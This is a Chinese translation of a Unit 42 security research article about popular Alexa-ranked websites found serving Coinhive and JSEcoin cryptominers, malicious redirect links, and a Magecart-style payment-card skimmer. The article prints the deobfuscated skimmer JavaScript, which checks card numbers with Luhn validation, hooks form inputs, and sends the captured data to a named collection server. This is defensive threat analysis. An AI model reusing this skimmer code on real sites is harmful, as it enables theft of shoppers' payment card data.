Alexa的熱門網(wǎng)站感染了惡意的硬幣淘金者和網(wǎng)絡(luò)掠物
[[345105]]
Unit 42最近在Alexa上啟動了一項針對全球前一萬網(wǎng)站的威脅搜索活動,Alexa排名基于訪問者的互動和訪問次數(shù)來衡量網(wǎng)站的受歡迎程度。如表1所示,研究人員發(fā)現(xiàn)了四個受影響的網(wǎng)站。在隨后的分析中,研究人員會更詳細(xì)地描述這些惡意活動,其中就包括了CoinMiner挖礦病毒,它們劫持了CPU資源來挖礦加密貨幣。早在2017年CoinMiner就被發(fā)現(xiàn),它是一款無文件的惡意軟件,它會利用WMI(Windows Management Instrumentation)在感染的系統(tǒng)上運(yùn)行命令,專家稱,這款軟件很難檢測,并且會使用永恒之藍(lán)進(jìn)行傳播。除了CoinMiner挖礦病毒外,還有惡意外部鏈接,將用戶定向到惡意網(wǎng)站;還有一種就是Web skimmer攻擊,該攻擊旨在從付款表單中竊取銀行卡信息。Web skimmer也被稱之為Magecart攻擊,早在2018年它就被評為了最危險的安全威脅。這種攻擊主要針對的是支付數(shù)據(jù),因為Web Skimming能夠?qū)⑷我庑畔⑻畛溥M(jìn)目標(biāo)網(wǎng)站中,所以攻擊者目前可能不在局限于銀行信用卡數(shù)據(jù),而是將攻擊范圍擴(kuò)展到網(wǎng)站登入信息以及其他敏感數(shù)據(jù)信息上。

受網(wǎng)絡(luò)安全影響的Alexa網(wǎng)站
CoinMiner挖礦病毒
coinhive專門提供一個用來挖礦的JS引擎,在被攻擊網(wǎng)站上的網(wǎng)頁內(nèi)嵌一段JS代碼,只要有人訪問被攻擊網(wǎng)站,挖礦程序就會在網(wǎng)民的電腦上工作,占用大量的系統(tǒng)資源,導(dǎo)致CPU利用率突然提升,甚至100%!不但被攻擊網(wǎng)站是受害者,普通網(wǎng)民也是受害者。最初Coinhive是一個瀏覽器挖礦服務(wù),負(fù)責(zé)為門羅幣區(qū)塊鏈提供了一個JavaScript挖礦。該網(wǎng)站于2019年3月被關(guān)閉,其中很大一部分原因是它被網(wǎng)絡(luò)攻擊者濫用。不過目前仍有兩個網(wǎng)站提供Coinhive的挖礦程序腳本。一個是coinhive.min.js,另一個是JSEcoin。下面的圖1顯示了在一個受攻擊的網(wǎng)站zoombangla[.]com上啟動coinminer所發(fā)出的命令。

使用定義的參數(shù)啟動Coinhive挖礦的命令
該挖礦程序可以控制其如何利用用戶的CPU以及用于挖礦的線程數(shù)量。CoinMiner還可以控制目標(biāo)使用的CPU數(shù)量。表2列出了可用的參數(shù)選項。奇怪的是,上述代碼將挖礦程序配置為快速耗盡受感染設(shè)備的電池,也許是因為攻擊者覺得有必要最大限度地利用任何成功被入侵的受害者。大多數(shù)攻擊者確保受損設(shè)備的電源使用率保持在較低水平,以避免被檢測到并繼續(xù)非法賺錢。但是,在本文所列舉的樣本中,攻擊者似乎急于進(jìn)行挖礦并沒有正確配置來躲開檢測。

參數(shù)節(jié)流和CPU使用率映射
下面顯示了啟動Coinhive挖礦腳本的命令的另一個樣本,該樣本來自另一個發(fā)現(xiàn)的網(wǎng)站——pojoksatu [.] id。

使用默認(rèn)參數(shù)啟動Coinhive挖礦腳本的命令
一旦用戶訪問了以上兩個網(wǎng)站中的任何一個,Coinhive挖礦腳本就將自動運(yùn)行并開始為攻擊者進(jìn)行挖礦。此時用戶的CPU載荷將增加,如圖3所示。

CPU載荷活動
總的來說,研究人員在pojoksatu [.] id和zoombangla [.] com中發(fā)現(xiàn)了60多個注入了Coinhive挖礦腳本的URL頁面。詳細(xì)信息請見以下附錄。
惡意的外部鏈接
外部鏈接安全性變得越來越重要。隨著電子郵件服務(wù)在發(fā)現(xiàn)垃圾郵件和其他類型的惡意消息方面的改進(jìn),攻擊者正在使用帶有外部鏈接的開放重定向,已發(fā)起更多攻擊。如果攻擊者在合法網(wǎng)站上的帖子中發(fā)布惡意URL,可能很少有訪問者會覺得可疑。如果用戶單擊該鏈接甚至將鼠標(biāo)懸停在該鏈接上以進(jìn)行檢查,他們將在鏈接中看到有效的網(wǎng)站,如果這樣認(rèn)為那就錯了,用戶最終將進(jìn)入攻擊者想要將其重定向到的惡意網(wǎng)站。然后,用戶就會被某種惡意軟件感染,例如CoinMiner挖礦病毒,或者個人信息被盜。
圖4是一個合法的二手車網(wǎng)站libero [.],用戶可以在其中搜索和比較他們喜歡車輛。此時攻擊者可能會在汽車廣告中插入了惡意鏈接,這些鏈接將把對汽車感興趣的訪問者重定向到一個惡意網(wǎng)站,此時該網(wǎng)站就會向他們注入了JSEcoinCoinMiner腳本,如下圖所示。請注意,JSEcoin平臺已于2020年4月4日被關(guān)閉。雖然腳本仍在運(yùn)行,但攻擊者已無法再從中進(jìn)行CoinMiner攻擊了。

libero [.] it中的外部鏈接,它將訪問者重定向到受感染的網(wǎng)站
源頁面如下所示:

包含惡意鏈接頁面的源代碼
如上圖所示,所有突出顯示的外部鏈接都指向libero [.] it。如果用戶想了解更多關(guān)于汽車的信息,則需要點擊這個鏈接,然后就會被重定向到惡意網(wǎng)站。

重定向鏈
該網(wǎng)站是注入CoinMiner挖礦病毒的地方。

啟動JSEcoin挖礦程序的命令
Web skimmer
今年5月,美國聯(lián)邦調(diào)查局就發(fā)現(xiàn)黑客正在利用Magento插件中一個存在了三年的漏洞,接管在線商店,植入一個惡意腳本,記錄并竊取買家的付款卡數(shù)據(jù)。這種類型的攻擊被稱為web skimming, e-skimming,或Magecart, FBI在去年10月就曾警告過此類攻擊的增加。FBI在今年5月初發(fā)給美國私營部門的一份flash安全警報中表示,在最近的攻擊中,攻擊者利用MAGMI (Magento Mass Import)插件中的CVE-2017-7391漏洞進(jìn)行攻擊。該漏洞是一個跨站點腳本(XSS)漏洞,它允許攻擊者將惡意代碼植入在線商店的HTML代碼中。
研究人員在Alexa上排名最高的網(wǎng)站中發(fā)現(xiàn)的樣本源于另一個外部鏈接安全漏洞。 heureka [.] cz本身是一個在線購物網(wǎng)站。如果用戶在網(wǎng)站上搜索Anti-COVID產(chǎn)品(網(wǎng)站上排名靠前的搜索關(guān)鍵字),則會顯示相關(guān)產(chǎn)品列表。

產(chǎn)品樣本
該產(chǎn)品之后列出了一家商店,用戶可以選擇從這家商店購買。

heureka [.] cz中受感染網(wǎng)站的鏈接
源頁面如下所示:

包含惡意鏈接的頁面的源代碼,突出顯示
單擊訪問此商店后,用戶將被重定向到惡意網(wǎng)站。

重定向鏈
而且不幸的是,整個網(wǎng)站到處都是經(jīng)過混淆的惡意skimmer腳本,如下圖所示。

混淆的skimmer代碼
上面的代碼是模糊的,因此很難預(yù)測它們導(dǎo)致的行為。研究人員必須先對代碼進(jìn)行模糊處理。然后,研究人員發(fā)現(xiàn)了以下功能,它們可以偷偷監(jiān)視用戶對其支付卡信息的輸入,并將其發(fā)送到遠(yuǎn)程攻擊服務(wù)器。
- function G1ED7H(XYRUDR) {
-
- var ZU554M = 0;
- XYRUDR = XYRUDR["split"]("");
-
- if (XYRUDR["length"] < 13 || XYRUDR["length"] > 19) return false;
-
- for (var E9VLQF = XYRUDR["length"] - 1; E9VLQF >= 0; E9VLQF
- if (!XYRUDR[E9VLQF]["match"](/[0-9]/)) return false;
- if (!(E9VLQF % 2)) {
- ZU554M += (XYRUDR[E9VLQF] * 2 > 9) ? XYRUDR[E9VLQF] * 2 - 9 : XYRUDR[E9VLQF] * 2
- } else {
- ZU554M += XYRUDR[E9VLQF] * 1
- }
- }
-
- return !(ZU554M % 10)
-
- }
該函數(shù)用于通過Luhn算法驗證信用卡號,該算法廣泛用于驗證各種標(biāo)識號,例如信用卡號。
Luhn算法(Luhn algorithm),也稱為“模10”(Mod 10)算法,是一種簡單的校驗和算法,一般用于驗證身份識別碼,例如發(fā)卡行識別碼、國際移動設(shè)備辨識碼(IMEI),美國國家提供商標(biāo)識號碼,或是加拿大社會保險號碼。
- function XYRUDR() {
-
- var P23WTA = document['all'] || document['getElementsByTagName'](*);
- for (E9VLQF = 0; E9VLQF < P23WTA['length']; E9VLQF++) { if (".input.select.form.button.a.img."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && !P23WTA[E9VLQF]["r"+Math["random"]()]) {
- P23WTA[E9VLQF]["r"+Math["random"]()] = 1;
- XCT5WY(P23WTA[E9VLQF], "mousedown");
- }
-
- setTimeout(XYRUDR, 99)
-
- }
當(dāng)skimmer開始攻擊時,它將每99秒運(yùn)行一次,以調(diào)用XYRUDR函數(shù),XYRUDR會找到[input, select, form, button, a, img]中的所有標(biāo)簽。
- function XCT5WY(P23WTA, "mousedown") {
-
- P23WTA["addEventListener"] ? P23WTA["addEventListener"](""mousedown", GB14BD, false) : P23WTA["attachEvent"]("onmousedown", GB14BD)
-
- }
它將為上述標(biāo)簽設(shè)置“mousedown”事件監(jiān)聽器。
- function GB14BD() {
- var P23WTA = document["all"] || document["getElementsByTagName"]("*");
- E9VLQF, N798NL = "", E;
- ITCHLA = "";
- for (E9VLQF = 0; E9VLQF < P23WTA["length"]; E9VLQF++) { if (".input.select."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && P23WTA[E9VLQF]["value"]) {
- if (G1ED7H(P23WTA[E9VLQF]["value"]["split"](" ")["join"](""))) {
- ITCHLA = P23WTA[E9VLQF]["value"]["split"](" ")["join"]("");
- }
- N798NL += & + (P23WTA[E9VLQF]["name"] || P23WTA[E9VLQF]["id"] || "i_" + E9VLQF) + "=" + CVZLRD(P23WTA[E9VLQF])
- }
- }
- if (ECUOWQ != N798NL && ITCHLA) {
- ECUOWQ = N798NL;
- MAU1KL()
- }
- }
事件觸發(fā)后,它將調(diào)用此函數(shù)以獲取標(biāo)簽的值。
- function MAU1KL() {
-
- var ZU554M = "https://";
- Y3V4T2 = String;
- ZU554M += "metahtmlhead.com" + "/" + "folder" + "/" + "ip" + "/" + "zxc" + "." + "php";
- var P23WTA = document["createElement"]("script");
- N798NL = document["getElementsByTagName"]("html")[0];
- P23WTA = N798NL["insertBefore"](P23WTA, null);
- P23WTA["src"] = ZU554M + "?r=" + MLEMCG + ECUOWQ + "&" + "c" + "c" + "=" + ITCHLA
-
- }
此函數(shù)用于將信用卡信息發(fā)送到收集服務(wù)器
概括地說,skimmer的工作流程是:
1.為[input, select, form, button, a, img]添加事件監(jiān)聽器;
2.當(dāng)數(shù)字字符串通過信用卡驗證檢查時,它會將信息發(fā)送出去;
3.構(gòu)造收集服務(wù)器URL和參數(shù),然后將信息發(fā)送出去;
成功的攻擊會將所有用戶信息發(fā)送到遠(yuǎn)程攻擊者服務(wù)器,包括信用卡號,地址等。
收集服務(wù)器:metahtmlhead [.] com

信用卡信息被發(fā)送到收款服務(wù)器
URL過濾分析

上圖顯示了研究人員觀察到的受影響網(wǎng)站訪問的總體地理分布,可以看出大多數(shù)受害者顯然來自西歐,但來自美國東部和美國西部的受害者卻緊隨其后,另外上圖也顯示了全球范圍內(nèi)的攻擊已經(jīng)非常普遍。
結(jié)論
本文的研究顯示即使在訪問流行的、信譽(yù)良好的網(wǎng)站時,用戶也要謹(jǐn)慎行事。這些網(wǎng)站很可能為挖礦的攻擊者帶來最大的收入。當(dāng)用戶點擊非官方網(wǎng)站的鏈接時,應(yīng)注意最終網(wǎng)站的完整URL,以確保其不是惡意網(wǎng)站。避免CoinMiner挖礦病毒的一種簡單方法是,在瀏覽器和系統(tǒng)上安裝完整的終端安全補(bǔ)丁。
本文翻譯自:https://unit42.paloaltonetworks.com/malicious-coinminers-web-skimmer/如若轉(zhuǎn)載,請注明原文地址: